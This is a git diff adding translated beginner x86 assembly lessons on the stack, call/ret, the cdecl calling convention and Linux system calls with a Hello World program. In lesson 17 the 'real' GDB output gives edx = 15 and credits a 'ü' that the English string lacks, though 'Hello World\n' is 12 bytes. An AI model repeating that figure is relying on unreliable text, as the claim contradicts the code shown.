+> 🔑 The stack is **LIFO** (Last In, First Out). `push 10,20,30` then `pop,pop,pop` → `30,20,10` (reversed). You always take back what you put down last; you can't reach into the middle or the bottom.
+
+---
+
+## `esp` and 'Why Does the Stack Grow Downward?'
+
+Now the loveliest detail. Your intuition probably says "as the stack grows, the addresses **increase**" — after all, we're stacking things on top. But the truth is exactly the opposite: **as the stack grows, `esp` GETS SMALLER.** The stack grows from the high addresses of memory **downward**, toward the small addresses. Let's watch `esp` at every `push` in GDB:
+
+```
+gdb ./stack
+(gdb) starti
+(gdb) print/x $esp # start
+(gdb) si # push 10
+(gdb) print/x $esp
+(gdb) x/1dw $esp # value on top
+... (repeat after each push)
+```
+
+Real output:
+
+```
+start esp = 0xffffc570
+after push 10, esp = 0xffffc56c top = 10
+after push 20, esp = 0xffffc568 top = 20
+after push 30, esp = 0xffffc564 top = 30
+after pop eax, esp = 0xffffc568 eax = 30
+```
+
+So who set that first `esp` value (`0xffffc570`) before you even did a single `push`? Not you: when the program starts, the operating system prepares the stack region and writes the top address into `esp` — the notebook comes already open, pen in hand. (The OS rules over memory and hardware; a closed box for now, we'll open it in 17.)
+
+Look at the addresses: at every `push`, `esp` decreased by exactly **4** (`c570 → c56c → c568 → c564`). Four each time, because a dword is 4 bytes (03/08). The value was written to that new (smaller) address — `[esp]` always points to the top. And when you did `pop eax`, `esp` went back **up by 4** (`c564 → c568`) and took the value (30). So:
+
+- **`push`** = decrease `esp` by 4, write the value there. (the top descends)
+- **`pop`** = take the value at `[esp]`, increase `esp` by 4. (the top rises)
+
+But why downward? The logic is this: think of memory as a street. The **program itself** (code and data) sits at the **bottom** end of the street (small addresses) — like the `0x8049000` you saw in 11. The stack is placed at the **top** end of the street (big addresses) and grows **downward**. This way the two start from opposite ends of the street and grow **toward each other**; both can use the space in the middle, and no room is wasted. If you grew both in the same direction, one would collide with the other sooner.
+
+> 🔑 The stack grows **downward**: `push` → `esp` **decreases by 4** (the top descends to a small address), `pop` → `esp` **increases by 4**. The reason: the program starts from the bottom of memory (small address), the stack from the top (big address); by growing in opposite directions they share the same gap without colliding. Counterintuitive but consistent.
+
+> 💡 **You might be wondering:** *"What is this LIFO / notebook going to be good for? Putting down and taking back three numbers is a bit of a toy."* You're right — its real power isn't on its own. The stack's real life begins in the next two lessons: **functions.** When a worker is about to "go do another job and come back," it writes down "where it will return to" and the values it's holding in this notebook (15), then reads them back when it returns. You learned `push`/`pop` now so that in 15 functions won't look like magic — just like "leaving a note on the stack."
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ STACK = the temporary-value region of memory; the worker's "notebook" (because registers are few). Like a stack of plates: always from the top.
+☐ push x = put x on top ; pop r = take the top value into r (and remove it).
+☐ the esp register ALWAYS points to the top; [esp] = the value on top.
+☐ LIFO (Last In First Out): push 10,20,30 → pop,pop,pop = 30,20,10 (reverse order). What you put down last comes out first.
+☐ The stack grows DOWNWARD (counterintuitive):
+ - push → esp DECREASES by 4 (dword=4 bytes), the value is written there.
+ - pop → the value is read, esp INCREASES by 4.
+ - gdb proof: esp c570→c56c→c568→c564 (each push -4), +4 back on pop.
+ - Why: the program from the bottom of memory, the stack from the top; growing in opposite directions they share the gap without colliding.
+☐ Why it matters: this is the foundation of functions (15). "Where I'll return to" + temporary values are written to the stack.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [04.5_registerin_ici.md](./04.5_registerin_ici.md) — The fact that registers are "few"; the stack is exactly the solution to that scarcity. `esp` is a register too
+- [08_mov_ve_bellek.md](./08_mov_ve_bellek.md) — `[...]` = "the box at the address"; `[esp]` = the value on top. The stack is memory after all
+- [08.5_little_endian.md](./08.5_little_endian.md) — The dwords written to the stack also sit in memory byte by byte; the same layout rule
+- [03_sayilar_ikilik_onaltilik.md](./03_sayilar_ikilik_onaltilik.md) — "Why 4?" — a dword is 4 bytes; the reason `esp` moves 4 at a time
+
+---
+
+**Previous topic:** [13_bit_islemleri.md](./13_bit_islemleri.md)
+**Next topic:** [15_call_ve_ret.md](./15_call_ve_ret.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/15_call_ve_ret.md b/docs/eng/konu_anlatimlari/x86_assembly/15_call_ve_ret.md
new file mode 100644
index 0000000..d15dd12
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/15_call_ve_ret.md
@@ -0,0 +1,173 @@
+# 📞 x86 Assembly — `call` and `ret`: Functions
+
+> In 14 we handed the worker a notepad (the stack) and left off with a small promise: *"the real life of the stack begins with functions; you learned `push`/`pop` so that in 15 functions won't look like magic, but like 'leaving a note on the stack.'"*
+> This is that moment. In this lesson we'll learn to write one piece of work **once and use it many times** — in programming this is called a **function**. And we'll see that the whole secret of functions is hidden in that simple stack you learned in 14.
+
+> **This lesson has code, and we run all of it.** Every program, every exit code, and every GDB output below is real: I assembled and ran it on my own machine.
+
+---
+
+## 📋 Table of Contents
+
+- [A Reusable Piece: The Function](#a-reusable-piece-the-function)
+- [What `jmp` Is Missing: But Where Do I Return To?](#what-jmp-is-missing-but-where-do-i-return-to)
+- [`call` and `ret`: Go and Come Back](#call-and-ret-go-and-come-back)
+- [Behind the Curtain: `call` = `push` + `jmp`](#behind-the-curtain-call--push--jmp)
+
+---
+
+## A Reusable Piece: The Function
+
+Say you need to do a job in **many places** in your program — for example, "add 5 to the number in hand." You could rewrite those three lines everywhere you need them, but that's both tiring and error-prone. Better: write that piece **once**, give it a name, and every time you need it just say "run this."
+
+That's exactly what a **function** is: a reusable piece of code that has a name. With the **label** you learned in 11 (`ekle5:`) you give the piece a name, then you call it from wherever you want. And the beauty of it: you can call the same piece **multiple times**. In this program we call `ekle5` twice:
+
+```nasm
+_start:
+ mov eax, 10
+ call ekle5 ; 10 + 5 = 15
+ call ekle5 ; 15 + 5 = 20 (reused the same piece)
+ ...
+ekle5:
+ add eax, 5
+ ret
+```
+
+This program gives `20` (we'll run it in a moment) — we used the three-line `ekle5` piece twice, without copying it at all. But how does "calling" (`call`) actually work? To understand that, let's first see why the only "go" instruction we have (`jmp`) isn't enough.
+
+> 🔑 **Function** = a reusable piece of code that has a name. Write it once, use it every time you call it. It's named with a label (11) and called with `call`. The goal: to avoid copy-paste.
+
+---
+
+## What `jmp` Is Missing: But Where Do I Return To?
+
+Your first instinct might be "I'll do `jmp ekle5`, done." The going part really is like that — but there's a problem: when `ekle5` finishes its work, **where does it return to?**
+
+Think about it: we called `ekle5` from two different places in the program. When `ekle5` finishes, sometimes it needs to return below the first call, sometimes below the second call. But `ekle5` itself is always the same — we can't write a fixed "return here" address into it, because the place to return to is **different on every call.**
+
+So the thing that's missing is **memory**: we need to **jot down** somewhere the fact of "where was I right before I called you?", and when the worker returns, to **read** that note. Leaving a temporary value somewhere and taking it back later... this should sound familiar — this is exactly the job of the **stack** from 14.
+
+> 🔑 `jmp` **goes** to the function but doesn't remember "where to return to." When the same function is called from different places the return point changes; that's why jotting down a **return address** somewhere is essential. That "somewhere" = the stack (14).
+
+---
+
+## `call` and `ret`: Go and Come Back
+
+x86 put these two jobs (go + remember the return / come back) into two instructions:
+
+- `call label` → **remember the return address, then go to `label`.**
+- `ret` → **return to the remembered return address.**
+
+The two are a pair: you go with `call`, you return with `ret`. You put `ret` at the end of the function; it means "return to whoever called me." `fonksiyon.asm`:
+
+```nasm
+section .text
+ global _start
+
+_start:
+ mov eax, 10
+ call ekle5 ; go to ekle5 (and remember the return)
+ mov ebx, eax ; ← ekle5 returns here. result (15) to exit
+ mov eax, 1
+ int 0x80
+
+ekle5:
+ add eax, 5 ; eax += 5
+ ret ; return to the caller
+```
+
+Follow the flow: `eax = 10`, `call ekle5` → the worker goes to `ekle5`, does `add eax, 5` making `eax = 15`, says `ret` → returns to the line **right below** the `call` (`mov ebx, eax`). Run it:
+
+```
+nasm -f elf32 fonksiyon.asm -o fonksiyon.o
+ld -m elf_i386 fonksiyon.o -o fonksiyon
+./fonksiyon
+echo $?
+```
+
+```
+15
+```
+
+Now run the two-call version from the top (`fonksiyon2.asm`, `call ekle5` twice):
+
+```
+20
+```
+
+**There's your reusable piece.** You wrote `ekle5` once; call it once and you get 15, call it twice and you get 20. Every `call` went, made it do the work, and `ret` returned it to the right place. But how do `call`/`ret` pull off this "coming back" trick? Let's pull the curtain aside — and you'll see why 14 came right before this lesson.
+
+> 🔑 `call label` = remember the return address + go to the label. `ret` = return to the remembered address. You put `ret` at the end of the function. `call`/`ret` are a pair: one goes, one returns.
+
+---
+
+## Behind the Curtain: `call` = `push` + `jmp`
+
+Here's the secret, and it's not magic at all. `call ekle5` actually does two things:
+
+1. **`push`** — pushes the address of the next instruction (the return address) onto the stack.
+2. **`jmp ekle5`** — jumps to the function.
+
+And `ret` does just one thing: it **`pop`**s the address at the top of the stack and jumps there. So the "return address" is nothing but a note left on the stack from 14! Let's see this with our own eyes in GDB.
+
+First let's know the addresses from the disassembly — the instruction **after** `call` is `mov ebx, eax`, at address `0x804900a`:
+
+```
+ 8049005: call 8049013
+ 804900a: mov ebx,eax ← instruction after call = return address
+ ...
+ 8049013 : add eax,0x5
+ 8049016: ret
+```
+
+Now let's look at `esp` and the top of the stack before and after `call`:
+
+```
+call BEFORE esp = 0xffffc570 (next instruction = will be the return address: 0x804900a mov ebx,eax)
+call AFTER esp = 0xffffc56c stack top [esp] = 0x0804900a eip now: 0x8049013
+```
+
+Catch three things at once:
+
+1. **`esp` decreased by 4** (`c570 → c56c`) — that is, `call` did a **`push`** (14: push = esp−4).
+2. **`0x0804900a` was written to the top of the stack** — exactly the address of the instruction after `call` (`mov ebx, eax`). There's the **return address**, jotted into the notepad.
+3. **`eip` jumped to `0x8049013`** (`ekle5`) — we went to the function.
+
+`call` = "jot the return address onto the stack, then leap to the function." When the function finishes its work and says `ret`, that note (`0x804900a`) is `pop`ped from the stack and the worker returns right there. If you call from different places, a different return address is jotted down each time — the problem `jmp` couldn't solve is solved with a single `push`/`pop`.
+
+> 🔑 `call` = **`push` (return address) + `jmp` (to the function)**; `ret` = **`pop` (return address) + go there.** The return address is a note left on the stack (14!). Functions aren't magic; they're just jumps that "write onto the stack where to return to." That's why 14 came right before 15.
+
+> ⚠️ Small but critical: if you `push` inside the function and forget the balancing `pop`, `ret` will find **the value you left** at the top of the stack instead of the return address and "return" there — the program crashes or goes haywire. How we keep the stack **balanced** inside a function (and how we pass data to a function) is exactly the topic of lesson 16.
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ FUNCTION = a reusable piece of code that has a name (named with a label, called with call). Avoids copy-paste.
+☐ Why jmp isn't enough: it goes but doesn't remember "where to return to." Different call sites → different return point.
+☐ call label = REMEMBER the return address + go to the label. ret = RETURN to the remembered address. (A pair; end of function = ret.)
+☐ BEHIND THE CURTAIN (no magic):
+ - call = push (return address = address of the instruction after call) + jmp (to the function).
+ - ret = pop (return address) + go there.
+ - Return address = a note left on the stack from 14.
+ - gdb proof: at call esp c570→c56c (-4 = push), [esp]=0x804900a (instruction after call), eip→ekle5.
+☐ Verified: one call 10+5=15 ; two calls 10+5+5=20 (same piece reused).
+☐ WATCH OUT: if push/pop is unbalanced inside a function ret returns to the wrong place → crash. Balance + passing data = lesson 16.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [14_stack.md](./14_stack.md) — the foundation `call`/`ret` is built on; the return address is a note `push`ed onto the stack. This lesson wouldn't exist without 14
+- [11_ziplamalar.md](./11_ziplamalar.md) — `call` is essentially a `jmp` (+ a return address); labels come from here too
+- [09_aritmetik.md](./09_aritmetik.md) — the `add` inside `ekle5`; functions package up familiar instructions
+- [04.5_registerin_ici.md](./04.5_registerin_ici.md) — `eip` ("where am I"); `call`/`ret` are really about managing `eip` through the stack
+
+---
+
+**Previous topic:** [14_stack.md](./14_stack.md)
+**Next topic:** [16_calling_convention.md](./16_calling_convention.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/16_calling_convention.md b/docs/eng/konu_anlatimlari/x86_assembly/16_calling_convention.md
new file mode 100644
index 0000000..ae74cc0
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/16_calling_convention.md
@@ -0,0 +1,198 @@
+# 📜 x86 Assembly — Calling Convention: Giving Data to a Function
+
+> In 15 we wrote a function called `ekle5`, but we pulled a little trick: the function took its data straight from `eax` and left the result back in `eax` — we just said "everyone use eax" and moved on. Real functions don't work like that.
+> Because you have to tell a real function **"add these two numbers"**: how do you *give* it the numbers? Where do you *collect* the result from? And that "stack balance" business I warned about at the end of 15 — whose responsibility is it? That's the subject of this lesson: a shared **contract** everyone abides by.
+
+> **This lesson has code and we run all of it.** Every program, every exit code, and every GDB output below is real: I compiled and ran them on my own machine.
+
+---
+
+## 📋 Table of Contents
+
+- [We Need a Contract: cdecl](#we-need-a-contract-cdecl)
+- [Pass Arguments via the Stack, Get the Result in `eax`](#pass-arguments-via-the-stack-get-the-result-in-eax)
+- [The `ebp` Anchor: Prologue and `[ebp+8]`](#the-ebp-anchor-prologue-and-ebp8)
+- [All Together: `Topla(3, 5)`](#all-together-topla3-5)
+
+---
+
+## We Need a Contract: cdecl
+
+There is no "natural" way to give data to a function — someone has to **set the rules**. The caller and the callee are two separate pieces of code; if they don't agree, it's chaos. For example:
+
+- Should the caller put the numbers in `eax`/`ebx`, or on the stack?
+- Where should the function leave its result so the caller can find it?
+- If the function trashes `ecx` while running, does the caller's `ecx` get destroyed?
+- Who cleans up the arguments pushed onto the stack afterward?
+
+We need an **agreement** whose answers to these questions everyone knows in advance. This agreement is called a **calling convention**. There is no single "right" one — different systems have different conventions. On **32-bit Linux** the most common is **cdecl**; that's the one we'll learn.
+
+cdecl's three core rules (the rest is detail):
+
+1. **Arguments are pushed onto the stack** — and moreover **right to left** (last argument first).
+2. **The return value comes back in `eax`.**
+3. **The caller cleans up the arguments** (not the function).
+
+(The answer to the question we asked above — *"if `ecx` gets trashed, does the caller's `ecx` get destroyed?"* — is also part of this contract: which register is preserved by whom is bound to a definite rule. But that's a detail — for now these three rules are enough to write `Topla`, so we won't get into that subtlety.)
+
+Now let's see each of these one by one, with running code.
+
+> 🔑 **Calling convention** = the agreement between the caller and the function about "where we'll put the data, where we'll get the result from, who will clean up." There's no single right answer; on 32-bit Linux the standard is **cdecl**: arguments on the stack (right to left), result in `eax`, cleanup on the caller.
+
+---
+
+## Pass Arguments via the Stack, Get the Result in `eax`
+
+In 15 we looked for a way to give data to a function and saw that we put the return address on the stack. Arguments go to the same place: **before calling, you `push` them onto the stack.** cdecl wants them **right to left** — that is, for `Topla(3, 5)` you push `5` first, then `3`:
+
+```nasm
+ push dword 5 ; 2nd argument first (right to left)
+ push dword 3 ; 1st argument after
+ call topla
+```
+
+Why reversed? This way, **right before `call`**, the 1st argument sits at the top of the stack; when `call` pushes the return address on top of it (15), the top becomes the **return address** again, and the 1st argument stays right **below** it (closest to the return address) — so when the function asks "where's my first argument?" it looks at a consistent spot. We'll see its exact address in a moment.
+
+The result comes back in `eax` (rule 2) — after all, `ekle5` in 15 already left its result in eax; cdecl just makes this an official rule. When the function returns, the caller looks at `eax` and finds the result there.
+
+> 🔑 Arguments are `push`ed onto the stack **before** `call`, in cdecl **right to left** (last argument pushed first → first argument stays on top). The return value comes in **`eax`**. Data going in: stack; result coming back: eax.
+
+---
+
+## The `ebp` Anchor: Prologue and `[ebp+8]`
+
+How will the function reach the arguments? First idea: "they're at the top of the stack, I'll read them with `[esp+...]`." But there's a trap: inside the function every `push`/`pop`, and `call`, means **`esp` keeps moving** (14). Sometimes you'd look for the argument at `[esp+4]`, a moment later at `[esp+12]` — shifting ground. We need a fixed reference.
+
+The solution is to make one register a **fixed anchor**: **`ebp`** (*base pointer*). At the start of the function you copy `esp`'s current value into `ebp`; then no matter how much `esp` moves, `ebp` **doesn't budge** and you always read the arguments relative to it. These two setup lines are called the **prologue**:
+
+```nasm
+topla:
+ push ebp ; save the caller's ebp (they need it, don't trash it)
+ mov ebp, esp ; ebp = current top → fixed anchor
+```
+
+(In this first example the caller is `_start`; it hadn't written anything meaningful into `ebp`, so the **content** of the value we save is unimportant. But **the line itself** matters: most callers have a real `ebp` that needs to be preserved — you'll see it with C functions in 19 — so the pattern saves the caller's `ebp` whoever the caller is. Here it's just protecting that "empty" one.)
+
+After these two lines the stack is laid out like this (from 14: up = larger address). `ebp` is now fixed; relative to it, the arguments:
+
+```
+ [ebp + 12] → 2nd argument (5)
+ [ebp + 8] → 1st argument (3)
+ [ebp + 4] → return address (put by call, 15)
+ [ebp + 0] → saved old ebp ← ebp points here
+```
+
+So the **1st argument is always `[ebp+8]`**, the 2nd argument `[ebp+12]` — it doesn't change no matter what `esp` does. (Why 8? `[ebp]` holds the old ebp, `[ebp+4]` holds the return address; the arguments are above them, starting at +8.) When the work is done you return the anchor and the stack to their old state — this is called the **epilogue**:
+
+```nasm
+ pop ebp ; give the caller's ebp back
+ ret ; go to the return address (15)
+```
+
+> 🔑 Because `esp` keeps moving, reading arguments relative to it is fragile; instead you make **`ebp` a fixed anchor**. The **prologue** (`push ebp` / `mov ebp, esp`) sets up the anchor; now the **1st argument is `[ebp+8]`**, the 2nd is `[ebp+12]`. The **epilogue** (`pop ebp` / `ret`) restores the old state. Nearly every function begins and ends with this pattern.
+
+---
+
+## All Together: `Topla(3, 5)`
+
+Let's gather all three rules into a single program. `topla_fn.asm` — a real `Topla(3, 5)` call:
+
+```nasm
+section .text
+ global _start
+
+_start:
+ push dword 5 ; 2nd argument (right to left)
+ push dword 3 ; 1st argument
+ call topla ; Topla(3, 5)
+ add esp, 8 ; CALLER cleans up: 2 arguments × 4 bytes = 8
+ mov ebx, eax ; return value in eax → to exit
+ mov eax, 1
+ int 0x80
+
+topla:
+ push ebp ; --- prologue ---
+ mov ebp, esp
+ mov eax, [ebp+8] ; 1st argument (3)
+ add eax, [ebp+12] ; + 2nd argument (5) → eax = 8 (return value)
+ pop ebp ; --- epilogue ---
+ ret
+```
+
+There's just one new piece: the `add esp, 8` after `call`. This is **rule 3** — the caller cleans up the 2 arguments (2 × 4 = 8 bytes) it pushed onto the stack. Why `add` and not `sub`? The stack grows downward (toward smaller addresses) (14); when you `push`ed the arguments, `esp` had **decreased** by 8, so cleanup **increases** it back by 8 — "erasing" here means moving `esp` above where we pushed, back up to the old top. (Recall the warning from 15: if the stack doesn't stay balanced, things break. Since it's the caller that pushes the arguments, it's also the one that cleans them.) Run it:
+
+```
+nasm -f elf32 topla_fn.asm -o topla_fn.o
+ld -m elf_i386 topla_fn.o -o topla_fn
+./topla_fn
+echo $?
+```
+
+```
+8
+```
+
+`Topla(3, 5) = 8`. Replace the arguments with two different numbers (`push 20` / `push 10`, i.e. `Topla(10, 20)`):
+
+```
+30
+```
+
+Same function, different arguments, correct result. Let's verify in GDB that the function really reads its arguments from `[ebp+8]`/`[ebp+12]` — after the prologue:
+
+```
+gdb ./topla_fn
+(gdb) break topla
+(gdb) run
+(gdb) si # push ebp
+(gdb) si # mov ebp, esp (anchor set up)
+(gdb) x/1dw $ebp+8 # 1st argument
+(gdb) x/1dw $ebp+12 # 2nd argument
+(gdb) x/1xw $ebp+4 # return address
+```
+
+Real output:
+
+```
+[ebp+8] (1.arg) = 3
+[ebp+12] (2.arg) = 5
+[ebp+4] (return address) = 0x08049009
+```
+
+**There's the contract, in action.** `3` and `5` are exactly where expected (`[ebp+8]`, `[ebp+12]`), and the return address is right between them (`[ebp+4]`), just as we learned in 15. The function read them, added them, returned the result in `eax` (8); the caller found the result in eax and cleaned up the stack. Nobody stepped on anybody's toes — because both obeyed the same contract.
+
+> 💡 **You might be wondering:** *"Isn't all this ceremony a bit much just to add three numbers?"* In a tiny example it looks that way. But the idea is this: **any** function that obeys this contract can talk to **any** other one — the ones you write, the ones the compiler produces, the operating system's libraries. In a moment (19), when you look at the assembly of a C program, you'll see exactly this pattern — `push ebp` / `mov ebp, esp` / `[ebp+8]`. cdecl is "the common language everyone speaks"; its hassle is the price of its universality.
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ CALLING CONVENTION = caller↔function agreement (data where, result from where, who cleans). 32-bit Linux = cdecl.
+☐ cdecl 3 rules:
+ 1) Arguments pushed onto the stack, RIGHT TO LEFT (last arg first → 1st arg on top).
+ 2) Return value in EAX.
+ 3) The CALLER cleans up the arguments (after call: add esp, ).
+☐ ebp = FIXED ANCHOR (esp keeps moving, can't be trusted):
+ - PROLOGUE: push ebp ; mov ebp, esp
+ - Arguments: 1st = [ebp+8] , 2nd = [ebp+12] ([ebp]=old ebp, [ebp+4]=return address, above them the arguments)
+ - EPILOGUE: pop ebp ; ret
+☐ Verified: Topla(3,5)=8 ; Topla(10,20)=30. gdb: [ebp+8]=3, [ebp+12]=5, [ebp+4]=return address.
+☐ Why it matters: the C compiler produces exactly this pattern too (you'll see in 19). cdecl = everyone's common language.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [15_call_ve_ret.md](./15_call_ve_ret.md) — `call`/`ret` and the return address on the stack (`[ebp+4]`); this lesson lays a "passing data" layer on top of it
+- [14_stack.md](./14_stack.md) — Where the arguments and `ebp` live; `push`/`pop` and `esp`'s movement. The prologue/epilogue are pure stack work
+- [08_mov_ve_bellek.md](./08_mov_ve_bellek.md) — `[ebp+8]` = "the box at address ebp+8"; reading an argument is exactly following a pointer
+- [09_aritmetik.md](./09_aritmetik.md) — The `add` inside the function; the contract just wraps around it
+
+---
+
+**Previous topic:** [15_call_ve_ret.md](./15_call_ve_ret.md)
+**Next topic:** [17_sistem_cagrilari.md](./17_sistem_cagrilari.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/17_sistem_cagrilari.md b/docs/eng/konu_anlatimlari/x86_assembly/17_sistem_cagrilari.md
new file mode 100644
index 0000000..619ed59
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/17_sistem_cagrilari.md
@@ -0,0 +1,167 @@
+# 🖥️ x86 Assembly — System Calls: "Hello World" on the Screen
+
+> For all these lessons our programs ran in the same silence: they did a calculation, put the result in the **exit code**, and we secretly read it with `echo $?`. We never printed a single letter to the screen. Today we break that silence.
+> And along the way, those two mysterious lines we've copied to the end of every program — `mov eax, 1` / `int 0x80` — will finally be explained. The debt I've owed since lesson 06, saying "just write it like this for now, I'll explain it later," is paid off in this lesson.
+
+> **There is code in this lesson and we run all of it.** Every program, every output, and every GDB line below is real: I assembled and ran them on my own machine.
+
+---
+
+## 📋 Table of Contents
+
+- [Why Can't a Program Write to the Screen Directly?](#why-cant-a-program-write-to-the-screen-directly)
+- [System Calls and `int 0x80`](#system-calls-and-int-0x80)
+- [The First Real Output: Hello World](#the-first-real-output-hello-world)
+- [An Old Debt: What Was `mov eax, 1`?](#an-old-debt-what-was-mov-eax-1)
+
+---
+
+## Why Can't a Program Write to the Screen Directly?
+
+Intuition might say: "to write to the screen I'll just write something into the screen's memory, and that's that." But on a modern computer you **can't** — and this isn't a shortcoming, it's a deliberate security wall.
+
+Think about it: dozens of programs are running at the same time (browser, music, terminal...). If each of them could touch the screen, the disk, or the network card however it pleased, it would be complete chaos — one would write into another's window, one would overwrite another's file. That's why direct access to hardware (screen, disk, keyboard) belongs **only to the operating system** (the OS — the Linux kernel). Your program runs on the "user" side, in a locked room.
+
+So how are you going to write to the screen? **By asking the OS to do it for you.** You say, "I can't write to the screen, but you can — would you print this text for me?" The name of this request is a **system call**.
+
+> 🔑 A program can't touch hardware (screen/disk/keyboard) **directly** — that privilege belongs only to the operating system (for security + order). The program's only path is to **ask** the OS. This request is called a **system call** (syscall).
+
+---
+
+## System Calls and `int 0x80`
+
+A system call means telling the OS "do this job" — but the OS can do hundreds of jobs (write, read, open a file, exit...). You say which one you want with a **number**. On 32-bit Linux, a few basic numbers:
+
+| Number | Name | What it does |
+|:---:|---|---|
+| 1 | `sys_exit` | end the program |
+| 3 | `sys_read` | read input (e.g. from the keyboard) |
+| 4 | `sys_write` | write somewhere (e.g. to the screen) |
+
+The way to deliver the request to the OS — **on 32-bit Linux** — is the `int 0x80` instruction. `int 0x80` means "knock on the OS's door"; the worker stops, control passes to the OS, the OS sees the request and does it. But the OS asks "which job, with which details?"; you put the answer into **registers** beforehand. The rule:
+
+- **`eax`** = system call number (which job).
+- **`ebx`, `ecx`, `edx`** = the arguments of that job (in order).
+
+Sound familiar? This is exactly the calling convention from lesson 16 — only this time the "function" you're calling is the operating system, and you put the arguments into registers instead of the stack. Same idea: "put the data in the agreed-upon places, then call."
+
+> 🔑 A system call = asking the OS to do a job. **`eax`** = job number (1 exit, 3 read, 4 write), **`ebx`/`ecx`/`edx`** = arguments, then **`int 0x80`** = "knock on the door, OS takes over." (This is 32-bit Linux's way.)
+
+---
+
+## The First Real Output: Hello World
+
+To write to the screen we use `sys_write` (number 4). Its arguments are:
+
+- `ebx` = **where** to write — this is called the *file descriptor*; **`1` = the screen** (stdout).
+- `ecx` = **what** to write — the **address of the text in memory** (from lesson 08: the address of a label).
+- `edx` = **how many bytes** to write — the length of the text.
+
+So: "to place number 1 (the screen), write the text at this address, this many bytes." We put the text into a label in `section .data`, just like in lesson 08. `merhaba.asm`:
+
+```nasm
+section .data
+ mesaj: db "Hello World", 10 ; 10 = end of line (newline, '\n')
+ uzunluk equ $ - mesaj ; current address - mesaj address = number of bytes
+
+section .text
+ global _start
+_start:
+ mov eax, 4 ; sys_write
+ mov ebx, 1 ; where: 1 = screen (stdout)
+ mov ecx, mesaj ; what: the text's address
+ mov edx, uzunluk ; how many bytes
+ int 0x80 ; ask the OS: write!
+
+ mov eax, 1 ; sys_exit
+ mov ebx, 0 ; exit code 0
+ int 0x80
+```
+
+There are two small new things. `db "...", 10`: `db` (the byte sibling of `dd` from lesson 08) puts the text into memory byte by byte; the trailing `10` is the newline character (so the cursor drops to the next line). `uzunluk equ $ - mesaj`: `$` means "the current address"; subtracting the address of `mesaj` from it gives the **number of bytes** in between — so you don't have to count the length by hand. Assemble, run:
+
+```
+nasm -f elf32 merhaba.asm -o merhaba.o
+ld -m elf_i386 merhaba.o -o merhaba
+./merhaba
+```
+
+```
+Hello World
+```
+
+**There's the moment.** After all those calculations, decisions, loops, and functions — for the first time the program told you something **directly**. Not a number hidden in the exit code; text on the screen, with your own eyes.
+
+Let's see in GDB that the registers really are set up right before `int 0x80`:
+
+```
+(gdb) starti
+(gdb) si (×4 — skip the four movs)
+(gdb) print $eax → 4 (sys_write)
+(gdb) print $ebx → 1 (screen)
+(gdb) print $edx → 15 (number of bytes)
+(gdb) x/s $ecx → 0x804a000: "Hello World\n"
+(gdb) x/i $eip → int 0x80
+```
+
+All four registers are exactly in place: job number 4, target 1, length 15 (15 rather than 14 because the letter ü takes 2 bytes in UTF-8 — but `equ` counted this for you), and `ecx` points right at our text. When `int 0x80` fires, the OS reads these and prints to the screen.
+
+> 🔑 Writing to the screen = `sys_write` (eax=4): `ebx`=1 (screen), `ecx`=address of the text, `edx`=number of bytes, then `int 0x80`. You put the text down with `db "...", 10` (10=newline), and `equ $ - label` counts the length for you.
+
+> 💡 **You might be wondering:** *"`sys_read` (3) is in the table too — can we read input as well?"* Yes, by the same logic: `sys_read` takes some text from the keyboard and puts it into memory (ebx=0 = keyboard/stdin, ecx=where, edx=at most how many bytes). You've learned to write to the screen; we'll build **reading** and combine the two into a truly interactive program — *"one that asks you for something and responds based on your answer"* — in the next lesson (18).
+
+---
+
+## An Old Debt: What Was `mov eax, 1`?
+
+Now go back and look at the program's **last two lines**:
+
+```nasm
+ mov eax, 1 ; sys_exit
+ mov ebx, 0 ; exit code
+ int 0x80
+```
+
+Recognize it? This is the pattern you've copied to the end of **every** program since lesson 06. It turns out that too was a system call — it always was, we'd just deferred the explanation until today. Now you can read every piece of it:
+
+- `mov eax, 1` → **`sys_exit`** (call number 1): "end the program."
+- `mov ebx, 0` → the argument of the exit call: **the exit code.**
+- `int 0x80` → ask the OS.
+
+And here's the point that ties the whole course together: back in lesson 06 we said "put the result in `ebx`, and `echo $?` will show it" — **why `ebx`?** Because `sys_exit`'s exit-code argument sits in `ebx` (the rule above: the first argument is `ebx`). That number `echo $?` read was actually the `ebx` you gave as an argument to `sys_exit`. You've been making a system call all along — you just didn't know its name.
+
+> 🔑 The `mov eax, 1` / `int 0x80` you've used since lesson 06 = the **`sys_exit`** system call; `ebx` = the exit-code argument. The number `echo $?` read was this very `ebx`. That was the answer to "why do we put the result in ebx?" — the system call rule.
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ A program CAN'T touch hardware (screen/disk/keyboard) DIRECTLY; only the OS can (security+order). The program ASKS the OS.
+☐ This request = SYSTEM CALL. On 32-bit Linux:
+ - eax = call number (1=exit, 3=read, 4=write)
+ - ebx, ecx, edx = arguments
+ - int 0x80 = "knock on the door", control passes to the OS. (The OS version of lesson 16's calling convention.)
+☐ WRITE TO SCREEN = sys_write (eax=4): ebx=1(screen), ecx=address of the text, edx=number of bytes.
+ - Text: db "Hello World", 10 (10=newline). Length: equ $ - mesaj (counts automatically).
+ - Verified: "Hello World" printed to the screen; gdb: eax=4, ebx=1, edx=15, ecx→"Hello World\n".
+☐ DEBT PAID: mov eax,1 / int 0x80 = sys_exit; ebx = exit code. The number echo $? read = that ebx.
+ "Why put the result in ebx?" — because sys_exit's argument is ebx. (Since lesson 06 we'd been making syscalls without realizing it.)
+☐ Next up: sys_read (input) + combine it all → an interactive program that asks your name and greets you (18).
+```
+
+---
+
+## 🔗 Related Topics
+
